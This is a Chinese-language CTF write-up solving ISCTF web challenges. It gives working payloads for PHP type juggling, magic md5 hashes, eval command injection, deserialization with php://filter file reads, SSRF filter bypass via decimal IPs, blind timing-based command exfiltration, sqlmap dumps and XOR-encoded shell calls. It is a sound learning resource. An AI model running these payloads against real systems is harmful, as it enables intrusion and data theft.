感谢老六师傅和gsf1yy师傅的帮助和指导
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>web签到</title>
</head>
<body>
<!--给我一个hint,我给你一个hint-->
<!--?hint -->
<?php
include "./flag114514.php";
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
if (isset($_POST['ISCTF'])) {
$ISCTF = $_POST['ISCTF'];
if($ISCTF == 114514){
if($ISCTF === "114514"){
echo "好臭啊";
}else{
echo $flag;
}
}else{
echo "= == === != !==";
}
}else{
echo "什么是POST?";
}
}else{
echo " 什么是GET?";
}
什么是POST?
第一个判断条件我们已经进来了,就是高亮代码。
我们看第二个判断if (isset($_POST['ISCTF']))
这里需要我们上传一个POST参数ISCTF。而且if($ISCTF == 114514)
需要上传的参数的值为114514,并且还不能完全等于114514。
这里用到了PHP弱比较的知识
1、== :弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。简单的说,它不会比较变量类型,只比较值。至于怎么转换后续会再赘述。
2、=== :强等于。在比较前会先判断两种字符串类型是否相同再进行比较,如果类型不同直接返回不相等。既比较值也比较类型。
附上详细参考:https://denverbbyf.github.io/2016/10/23/php-compare/
Payload:
ISCTF=114514s
在进行==比较时,php会自动将字符串转为数字进行值的比较,在这里114512和114512s是相等的。
在进行===比较时,php会先判断两种字符串的类型是否相同,很显然两者都是字符串,第一个判断通过,再进行值的比较,两者是不相等的。
先看题目描述
好快!你能看出来这是个假的页面吗?
打开靶场可以看到蓝鲨信息的官网,这里的url发生了跳转。
这个官网跟题目是没有关系的,也找不到有用的信息。我们先抓个包看一看。
这里可以看到有意思的东西,If-None-Match和ETag。
ETag是HTTP1.1中才加入的一个属性,用来帮助服务器控制Web端的缓存验证。
它的原理是这样的,当浏览器请求服务器的某项资源(A)时, 服务器根据A算出一个哈希值(3f80f-1b6-3e1cb03b)并通过 ETag返回给浏览器,浏览器把"3f80f-1b6-3e1cb03b" 和 A 同时缓存在本地,当下次再次向服务器请求A时,会通过类似 If-None-Match: "3f80f-1b6-3e1cb03b"的请求头把ETag发送给服务器,服务器再次计算A的哈希值并和浏览器返回的值做比较,如果发现A发生了变化就把A返回给浏览器(200),如果发现A没有变化就给浏览器返回一个304未修改。这样通过控制浏览器端的缓存,可以节省服务器的带宽,因为服务器不需要每次都把全量数据返回给客户端。
附上参考链接:https://www.cnblogs.com/xuzhudong/p/8339853.html
大概意思是比较If-None-Match和ETag,如果两者不相等则重新返回资源,否则不返回。
我们将If-None-Match修改或删掉之后再发包。就得到了flag
先看源码
highlight_file(__FILE__);
error_reporting(0);
$flag = "flag{need_time_to_change}";
include_once("config.php");
$YOUR_NAME = $_GET["NAME"];
$GET1 = $_POST["GET1"];
$GET2 = $_POST["GET2"];
$POST1 = $_GET["P0ST1"];
$POST2 = $_GET["P0ST2"];
if (isset($YOUR_NAME)){
echo $YOUR_NAME.",请开始你的答题。"."
";
}
else{
echo "做题前请告诉我你是小蓝鲨吗?";
exit();
}
if (is_numeric($POST1)){
if ($_GET["P0ST1"] != $_GET["P0ST2"]){
if (($_GET["P0ST1"]) == md5($_GET["P0ST2"])){
$f1=$flag1;
echo "小蓝鲨成功一半".$f1;
}
}
}
if(preg_match('/^[0-9]*$/',$GET1)) {
exit();
}
else{
if( $GET1 == 0 ){
echo "
"."前面的出来了吗?";
if(is_numeric($GET2)){
exit();
}
if($GET2 > 678){
echo "答案就在眼前?"."
".$YOUR_NAME.",你觉得这是flag吗?"."
";
$Ag=base64_encode($flag2);
}
}
}
$flag666 = $f1.$Ag;
echo $flag666;
?>
做题前请告诉我你是小蓝鲨吗?
第一个判断就是GET传个NAME就不细写了。主要分析第二个大判断和第三个大判断,先看第二个。
if (is_numeric($POST1)){
if ($_GET["P0ST1"] != $_GET["P0ST2"]){
if (($_GET["P0ST1"]) == md5($_GET["P0ST2"])){
$f1=$flag1;
echo "小蓝鲨成功一半".$f1;
}
}
}
这里要求$POST1为数字,P0ST1和P0ST2不相等,而且P0ST1等于P0ST2的md5值。
注意:0不是O,0是零。
这里用到了PHP特性的知识,md5的比较。
原理:
在 php 中,当字符串 以0e开头时,会被 php 识别成科学计数法,会被认为是数字。
下面列出几个常用的MD5值以0e开头的字符串:
字符串 | MD5值 |
---|---|
QNKCDZO | 0e830400451993494058024219903391 |
s878926199a | 0e545993274517709034328855841020 |
s155964671a | 0e342768416822451524974117254469 |
s214587387a | 0e848240448830537924465865611904 |
s214587387a | 0e848240448830537924465865611904 |
s878926199a | 0e545993274517709034328855841020 |
s1091221200a | 0e940624217856561557816327384675 |
Payload1:http://120.79.18.34:20867/?NAME=11&P0ST1=0e545993274517709034328855841020&P0ST2=s878926199a
可以发现成功拿到了flag1,根据提示$flag = "flag{need_time_to_change}";
可以猜测这个数字是个时间戳,我们进行转化得到3539-09-07 14:54:27
这个信息先留着。
接下来我们看第二个大判断
if(preg_match('/^[0-9]*$/',$GET1)) {
exit();
}
if( $GET1 == 0 ){
echo "
"."前面的出来了吗?";
if(is_numeric($GET2)){
exit();
}
if($GET2 > 678){
echo "答案就在眼前?"."
".$YOUR_NAME.",你觉得这是flag吗?"."
";
$Ag=base64_encode($flag2);
}
}
这里需要$GET1不能为数字,而且$GET1又等于0,并且$GET2不能为数字,值大于678。
原理:
php 的 0 与任何字符串比较都为 true,这是不对的,但其实是正确的,因为字符串被强制转换后都成了 0。
Payload2:GET1=sdas&GET2=6782s
这里得到了flag2:
JXUwMDYxJXUwMDM3JXUwMDY0JXUwMDY1JXUwMDJkJXUwMDM3JXUwMDMxJXUwMDM3JXUwMDMwJXUwMDJkJXUwMDM0JXUwMDY0JXUwMDMwJXUwMDM2JXUwMDJkJXUwMDM5JXUwMDM3JXUwMDMwJXUwMDM4JXUwMDJkJXUwMDMzJXUwMDY0JXUwMDMxJXUwMDMyJXUwMDMxJXUwMDY0JXUwMDYyJXUwMDM4JXUwMDYyJXUwMDMxJXUwMDM5JXUwMDM1JXUwMDdk
我们在进行base64解码后可以得到一个unicode。
%u0061%u0037%u0064%u0065%u002d%u0037%u0031%u0037%u0030%u002d%u0034%u0064%u0030%u0036%u002d%u0039%u0037%u0030%u0038%u002d%u0033%u0064%u0031%u0032%u0031%u0064%u0062%u0038%u0062%u0031%u0039%u0035%u007d
对unicode转中文后可以得到一半的flag
a7de-7170-4d06-9708-3d121db8b195}
接下来就应该想办法把flag1和flag2进行拼接,得到最终的flag。
不过笔者拼了很久也没试出来。待笔者拼出来后再续写。
先看题
highlight_file(__FILE__);
error_reporting(E_ERROR);
$str=$_GET['str'];
$pattern = "#\\\\\\\\/Ilikeisctf#";
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
if(preg_match($pattern,$str,$arr))
{
echo "good try!";
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
echo "come on!!!";
if($num=='36'&isset($_GET['cmd'])){
eval($_GET['cmd']);
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
}
看到一个eval()
可以执行代码,进入这里首要要满足,num通过is_numeric的检测,并且不等于36,去空后依然不等于36,经过过滤方法后依然等于36。
脚本:
for($i = 0; $i<129; $i++){
$num=chr($i).'36';
if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
echo urlencode(chr($i))."\n";
}
}
结果:
%0C %2B - . 0 1 2 3 4 5 6 7 8 9
%0c其实就是+号的url编码
Payload:?str=\\\\\\\\/Ilikeisctf&num=%0c36&cmd=system('tac /f*');
先看题目描述
有个dog想想怎么躲避它
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class mouse
{
public $v;
public function __toString()
{
echo "Good. You caught the mouse:";
include($this->v);
}
}
class cat
{
public $a;
public $b;
public $c;
public function __destruct(){
$this->dog();
$this->b = $this->c;
die($this->a);
}
public function dog()
{
$this->a = "I'm a vicious dog, Kitty";
}
}
unserialize($_GET["cat"]);
?>
看到unserialize就明白这道题考php反序列化。
考点:
“__toString()”是php中的一个魔术方法,在把对象转换成字符串时自动调用,用于>一个类被当成字符串时应怎样回应;该方法必须返回一个字符串,否则将发出一条“E_RECOVERABLE_ERROR”级别的致命错误。
意思是当一个对象被当成字符串输出时,php会自动调用该对象的__toString()方法。
die()与echo的作用类似,会输出字符串。
Payload:
class mouse
{
public $v;
public function __construct()
{
$this->v = 'php://filter/convert.base64-encode/resource=flag.php';
}
}
class cat
{
public $a;
public $b;
public $c;
public function __construct()
{
$this->b = &$this->a;
$this->c = new mouse();
}
}
$abc = new cat();
echo serialize($abc);
解释一下$this->b = &$this->a;
中&是取地址符号,意思是b将指向a的地址空间,这时a和b都是指向同一个地址空间,给b赋值就相当于给a赋值。
另外,在include中可以使用伪协议。
参数 | 描述 |
---|---|
resource=<要过滤的数据流> | 必须项。它指定了你要筛选过滤的数据流 |
read=<读链的过滤器> | 可选项。可以设定一个或多个过滤器名称 |
write=<写链的过滤器> | 可选项。可以设定一个或多个过滤器名称 |
convert.base64-encode | 等同于base64_encode() |
读取文件源码(针对php文件需要base64编码)
php://filter/read=convert.base64-encode/resource=[文件名]
题目描述
都告诉你curl了,剩下的就别问了
返回去查看源代码,在注释里有一段代码。
意思是让我们传一个url地址,curl_get($urls)
作用应该跟curl差不多。
先尝试?urls=http://127.0.0.1/flag.php
发现被过滤了,localhost也不行。
尝试把127.0.0.1转化为其他进制
- 2130706433 10进制 http://2130706433
- 017700000001 8进制 http://017700000001
- 7F000001 16进制 http://0x7F000001
尝试10进制可以,?urls=http://2130706433/flag.php
题目
没有回显的shell
进入/rce
import flask
import subprocess
app = flask.Flask(__name__)
@app.route("/")
def hello_world():
return "Try to access the /rce"
@app.route("/www.zip")
def return_SourceCode():
with open("./app.py", "r") as f:
return f.read()
@app.route("/rce", methods=['GET', 'POST'])
def action_rce():
if flask.request.method == "GET":
return "Why not try to search the backup"
elif flask.request.method == "POST":
action = flask.request.form["act"]
with open("/app/temp.sh", "w") as f:
f.write(action[1:-1])
res = subprocess.run(["/bin/bash", "/app/temp.sh"], stdout=subprocess.PIPE)
# print(res)
return "success"
if __name__ == '__main__':
app.run(debug=True)
分析代码发现是命令执行,命令act可控,要注意第一位和最后一位。
题目提示没有回显,尝试反弹shell、dnslog都失败,感觉这题无回显不出网,唯一成功的命令就是sleep。
那就只能先把读到的flag写入一个文件里,然后猜字符猜对了就sleep。用python写个脚本跑一下。
注意:先执行下面这个命令,先写文件,再读文件。
这个脚本两道题通杀。
act=1echo `tac f* >1.txt`1
import requests
url = ""
strs = ""
dics = "abcdefgh ijklmnopqrstuvwxyz{}[].1234567890QAZWSXEDCRFVTGBYHNUJMIKOLP?-"
for num1 in range(0,60):
for st in dics:
data = {
'act': '1a=`cat 1.txt`;if [ "${'+'a:{}:'.format(num1)+'1}" == '+'"{}" ];then sleep 2;fi1'.format(st)
}
try:
requests.post(url=url, data=data, timeout=1)
except:
print(num1)
strs=strs+st
print(strs)
print(strs)
题目描述
注一下
根据题目猜测,这是一道sql注入的题目
burp suit简单扫一下,发现存在ua注入,到这里思路基本清晰了,直接sqlmap一把梭
查看数据库
sqlmap -u http://120.79.18.34:20387/login.php --level 3 --dbs
查看表
sqlmap -u http://120.79.18.34:20387/login.php --level 3 -D ctf --tables
查看user_agents内容
sqlmap -u http://120.79.18.34:20387/login.php --level 3 -D ctf -T user_agents --columns --dump
得到flag
先看题目
highlight_file(__FILE__);
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
$code = $_GET['shell'];
var_dump(eval($code));
}else{
echo "你能拿到flag吗?";
} bool(false)
无字母数字命令执行可以尝试用异或
脚本:
先使用php脚本异或出可用的字符:
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
再用yu22x师傅的python脚本生成命令
# -*- coding: utf-8 -*-
# author yu22x
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
Payload:
?shell=("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%14%01%03%00%00%06%00"^"%60%60%60%20%2f%60%2a");
得到flag